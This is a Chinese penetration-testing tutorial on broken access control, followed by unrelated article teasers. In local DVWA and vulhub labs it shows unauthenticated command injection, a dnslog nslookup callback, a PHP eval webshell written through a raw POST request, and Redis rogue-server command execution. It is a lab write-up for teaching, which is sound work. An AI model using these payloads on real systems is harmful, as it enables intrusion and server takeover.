渗透测试漏洞原理之---【失效的访问控制】

文章目录

    • 1、失效的访问控制
      • 1.1、OWASP Top 10
        • 1.1.1、A5:2017-Broken Access Control
        • 1.1.2、A01:2021 – Broken Access Control
      • 1.2、失效的访问控制类别
        • 1.2.1、水平越权
        • 1.2.2、垂直越权
      • 1.3、攻防案例
        • 1.3.1、Pikachu靶场 Over Permision
        • 1.3.2、DVWA越权
          • 利用失效的访问控制漏洞执行命令注入
          • 利用失效的访问控制漏洞写一个webshell,尝试蚁剑连接
      • 1.4、相关漏洞
        • 1.4.1、目录遍历
        • 1.4.2、未授权访问
    • 2、未授权访问
      • 2.1、Redis未授权访问
        • 2.1.1、Redis介绍
        • 2.1.2、Redis简单使用
        • 2.1.3、Redis未授权访问
        • 2.1.4、Redis未授权访问执行系统命令漏洞复现

1、失效的访问控制

应该对Web 应用(系统等)实施访问控制策略,限定不同用户的不同权限(访问范围)。如果没控制住,就意味着访问控制失效。

1.1、OWASP Top 10

1.1.1、A5:2017-Broken Access Control

A5:2017-Broken Access Control


未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。


1.1.2、A01:2021 – Broken Access Control

A01:2021 – Broken Access Control

访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。

1.2、失效的访问控制类别

权限移动方向

1.2.1、水平越权

在同级别账户中横向移动

就是同级用户之间的越权,打个比方现在有ABC三个用户,A是管理员,BC都是普通用户,现在B能够使用C这个用户的权限这就是水平越权,

1.2.2、垂直越权

普通用户获取管理员权限

通过低级权限跨越到高级权限,用高级权限干高级权限的事情,来我们继续打比方,A是超级管理员,BC是普通用户,现在这个B啊,通过了某些手段,跨越获得了A超级管理员的权限,这就是垂直越权,垂直越权的特点就是以低级权限向高级权限跨越

1.3、攻防案例

1.3.1、Pikachu靶场 Over Permision

Pikachu靶场 Over Permision

1.3.2、DVWA越权

利用失效的访问控制漏洞执行命令注入

先在正常登录的情况下,BurpSuite抓取Command Injection关卡的Low级别

image-20230901165159111


然后点击Logout退出登录

实现在不登录DVWA靶场的情况下访问靶场里面 Command Injection关卡的Low级别

路径:vulnerabilities\exec\source

在这里插入图片描述

浏览器访问low.php

在这里插入图片描述

通过访问http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/low.php

得到如下界面

在这里插入图片描述

BurpSuite抓取数据包,发送到Repeater模块

在这里插入图片描述

改变数据包的请求方式,在源码中可以得知是通过POST方式提交的

在这里插入图片描述

image-20230901164141827

添加请求体内容:ip=127.0.0.1&Submit=Submit

使用&实现命令拼接,做命令注入

&需要做URL编码,防止跟连接Submit&发生冲突

BurpSuite中选中&,按Ctrl+u,即可实现uRL编码

在这里插入图片描述

发现使用whoami命令并没有回显

然后使用calc尝试调出计算器

image-20230901171043155

在这里插入图片描述

命令执行成功!

说明页面没有回显并不能代表命令执行没有成功

可以利用dnslog平台测试命令是否执行成功

rimage-20230901171830352

然后使用nslookup进行域名 解析:ip=127.0.0.1%26nslookup+hv1co0.dnslog.cn&Submit=Submit

点击Send发送,来到dnslog平台,点击Refresh Record刷新记录

image-20230901172142032

解析到了,说明命令执行成功


利用失效的访问控制漏洞写一个webshell,尝试蚁剑连接

echo "<?php @eval($_REQUEST[6868])?>" >shell.phpCtrl+u做url编码

得到echo+"<%3fphp+%40eval($_REQUEST[6868])%3f>"+>shell.php

POST /DVWA-2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1
Host: 192.168.80.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 86ip=127.0.0.1%26echo+"<%3fphp+%40eval($_REQUEST[6868])%3f>"+>shell.php&Submit=Submit

访问http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/查看是否成功

在这里插入图片描述

访问shell.php

在这里插入图片描述

蚁剑 连接

http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/shell.php

在这里插入图片描述

image-20230901173218542

1.4、相关漏洞

1.4.1、目录遍历

目录穿越,目录遍历,Directory Traversal,Web 用户,通过某种方式,可以访问Web 根目录以外的文件,甚至执行系统命令。

造成目录遍历漏洞的原因:

  • 文件包含
  • 文件读取
  • RCE

1.4.2、未授权访问

未授权访问,Unauthorized Access,重要资产根本没有做访问控制限制,导致黑客攻击者可以在没有授权的情况下操作重要资产,包括读写文件,执行命令等敏感操作

2、未授权访问

2.1、Redis未授权访问

2.1.1、Redis介绍

Redis 是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据

Redis 数据库经常用于Web 应用的缓存

Redis 可以与文件系统进行交互

Redis 监听TCP/6379

2.1.2、Redis简单使用

博客 跳转

Redis 未设置密码,客户端工具可以直接链接

┌──(ajest💋zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1
127.0.0.1:6379> set name JayChou
OK
127.0.0.1:6379> get name
"JayChou"
127.0.0.1:6379> config set dir /tmp/
OK
127.0.0.1:6379> config set dbfilename jaychou.txt
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>

2.1.3、Redis未授权访问

读取数据库内容读取系统文件执行系统命令
信息泄露
直接写WebShell

计划任务反弹Shell

SSH免密登录

redis-rogue-getshell

2.1.4、Redis未授权访问执行系统命令漏洞复现

环境:/vulhub/vulhub/redis/4-unacc


docker-compose up -d启动环境后,连接redis客户端

无密码,直接连接成功

┌──(kali㉿kali)-[~/Vulnerability-library/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1   
127.0.0.1:6379> info
# Server
redis_version:4.0.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:3914f9509eb3b682
redis_mode:standalone
os:Linux 6.1.0-kali9-amd64 x86_64
.......
.......

在这里插入图片描述

github上把redis-rogue-getshell这个项目克隆下来

第一步:

cd redis-rogue-getshell/RedisModulesSDK/
make

会生成一个exp.so文件,编译时会报错,不影响我们操作

cd ../
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.80.141 -P 8888 -f RedisModulesSDK/exp.so -c "id"

执行id命令

在这里插入图片描述

执行其他命令

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.80.141 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/63765.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PowerShell Invoke-WebRequest简单使用

格式 Invoke-WebRequest -Uri 请求的url例子 该例子模拟请求接口&#xff0c;并对接收的数据进行json格式化&#xff0c;并取出其中的属性值 $url "https://xxxx/getHumanInfo";$response Invoke-WebRequest -Uri $url# 将接收的值取出并转成json $contentJson …

go-基础-3-函数-记录

go 函数 类似JavaScript 函数声明 func fuction_name([paramater_list]) [return_types] {content }函数类型 无参无返回值函数有一个参数的函数有两个参数的函数有个返回值的函数有多个返回值的函数 // 无参无返回 func printInfo() {fmt.Println("printinfo")…

MongoDB基础知识点

MongoDB基础知识点 1.MongoDB简介1.1基本信息1.2作用1.3下载 2.MongoDB安装1.Ubuntu22.042.Windows(非msi) 3.MongoDB基本操作1.基本概念2.MongoDB文件增删改查(CURD)1.插入数据2.查询数据3.修改数据4.删除数据5.删除字段 4.MongoDB实战管理系统数据库设计1.设计数据库2.Mongod…

Laravel chunk和chunkById的坑

在编写定时任务脚本的时候&#xff0c;经常会用到chunk和chunkById的API。 一、前言 数据库引擎为innodb。 表结构简述&#xff0c;只列出了本文用到的字段。 字段类型注释idint(11)IDtypeint(11)类型mark_timeint(10)标注时间&#xff08;时间戳&#xff09; 索引&#x…

279. 完全平方数

279.完全平方数 给你一个整数 n &#xff0c;返回 和为 n 的完全平方数的最少数量 。 完全平方数 是一个整数&#xff0c;其值等于另一个整数的平方&#xff1b;换句话说&#xff0c;其值等于一个整数自乘的积。例如&#xff0c;1、4、9 和 16 都是完全平方数&#xff0c;而 …

机器学习笔记之核函数再回首:Nadarya-Watson核回归python手写示例

机器学习笔记之核函数再回首——Nadaraya-Watson核回归手写示例 引言回顾&#xff1a; Nadaraya-Watson \text{Nadaraya-Watson} Nadaraya-Watson核回归通过核函数描述样本之间的关联关系使用 Softmax \text{Softmax} Softmax函数对权重进行划分将权重与相应标签执行加权运算 N…

Linux centos7 bash编程——-求质数和

训练项目&#xff1a;使用函数求质数和。 定义一个函数IsPrime()&#xff0c;据此判断一个数是否为质数 由用户输入一个整数&#xff0c;求出比此数大的两个最小质数之和。 一、解决思路: 1.先在键盘上输入一个整数 2.求出比此数大的最小质数 3.再求出比此质数大的另一个…

使用正则提取字符串中的json数据

需求&#xff1a; 我们有一个这样的字符串 以下数据&#xff1a;{"title": "标题一", "text": "内容一", "tag": "tag1"}{"title": "标题二", "text": "内容二", &quo…

ChatGPT 实现动态地图可视化展示

地图可视化分析有许多优点和好处: 1.直观理解:地图可视化使得复杂的数据更易于理解。通过地图可视化,人们可以直观地看到地理位置、地区之间的关系以及空间分布的模式。 2.提高决策效率:地图可视化可以帮助决策者快速理解和解释数据,从而提高决策效率。 3.高效的数据整…

【java web】论坛实现帖子回复(仿牛客网),帮助大家理清逻辑

一、common表的情况 CREATE TABLE comment (id int NOT NULL AUTO_INCREMENT,user_id int DEFAULT NULL,entity_type int DEFAULT NULL,entity_id int DEFAULT NULL,target_id int DEFAULT NULL,content text,status int DEFAULT NULL,create_time timestamp NULL DEFAULT NUL…

【Pandas 入门-5】Pandas 画图

Pandas 画图 除了结合 matplotlib 与 seaborn 画图外&#xff0c;Pandas 也有自己的画图函数plot&#xff0c;它的语法一般为&#xff1a; DataFrame.plot(xNone,yNone, kindline,subplotsFalse, titleNone)x横坐标数据y纵坐标数据kind默认是线图&#xff0c;还可以是‘bar’…

基于单片机的串行通信发射机设计

一、项目介绍 串行通信是一种常见的数据传输方式&#xff0c;允许将数据以比特流的形式在发送端和接收端之间传输。当前实现基于STC89C52单片机的串行通信发射机&#xff0c;通过红外发射管和接收头实现自定义协议的数据无线传输。 二、系统设计 2.1 单片机选择 在本设计中&…

代码随想录二刷day04

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、力扣24. 两两交换链表中的节点二、力扣19. 删除链表的倒数第 N 个结点三、力扣面试题 02.07. 链表相交四、力扣142. 环形链表 II 前言 一、力扣24. 两两交换…

【AI】《动手学-深度学习-PyTorch版》笔记(二十):图像增强、微调

AI学习目录汇总 1、图像增强 图像增强可以扩展训练样本数量、减小对某个属性的依赖。比如,裁剪图像,可以减少模型对对象出现位置的依赖;调整亮度、颜色等因素来降低模型对颜色的敏感度等 1.1、准备工作 头文件 %matplotlib inline:图表直接嵌入到Notebook中,本人使用的…

缓存技术(缓存穿透,缓存雪崩,缓存击穿)

大家好 , 我是苏麟 , 今天聊一聊缓存 . 这里需要一些Redis基础 (可以看相关文章等) 本文章资料来自于 : 黑马程序员 如果想要了解更详细的资料去黑马官网查看 前言:什么是缓存? 缓存,就是数据交换的 缓冲区 (称作Cache [ kʃ ] ),俗称的缓存就是缓冲区内的数据,是存贮数据的…

C语言——多文件编程

多文件编程 把函数声明放在头文件xxx.h中&#xff0c;在主函数中包含相应头文件在头文件对应的xxx.c中实现xxx.h声明的函数 防止头文件重复包含 当一个项目比较大时&#xff0c;往往都是分文件&#xff0c;这时候有可能不小心把同一个头文件 include 多次&#xff0c;或者头…

十六、pikachu之SSRF

文章目录 1、SSRF概述2、SSRF&#xff08;URL&#xff09;3、SSRF&#xff08;file_get_content&#xff09; 1、SSRF概述 SSRF(Server-Side Request Forgery&#xff1a;服务器端请求伪造)&#xff1a;其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能&…

Spring容器及实例化

一、前言 Spring 容器是 Spring 框架的核心部分&#xff0c;它负责管理和组织应用程序中的对象&#xff08;Bean&#xff09;。Spring 容器负责创建、配置和组装这些对象&#xff0c;并且可以在需要时将它们提供给应用程序的其他部分。 Spring 容器提供了两种主要类型的容器&…

面试系列 - JVM内存模型和调优详解

目录 一、JVM内存模型 1. 程序计数器&#xff08;Program Counter Register&#xff09;&#xff1a; 2.Java虚拟机栈&#xff08;Java Virtual Machine Stacks&#xff09;&#xff1a; 3. 本地方法栈&#xff08;Native Method Stack&#xff09;&#xff1a; 5. 方法区…

matlab绘制局部放大图

ZoomPlot是一个交互式的matlab局部绘图库&#xff0c;其github仓库地址为 https://github.com/iqiukp/ZoomPlot-MATLAB。在使用库之前需要先将库下载到本地&#xff0c;可以直接添加到matlab的库中&#xff0c;也可以放在项目文件中直接使用。 简单使用 其实使用这个库只需要…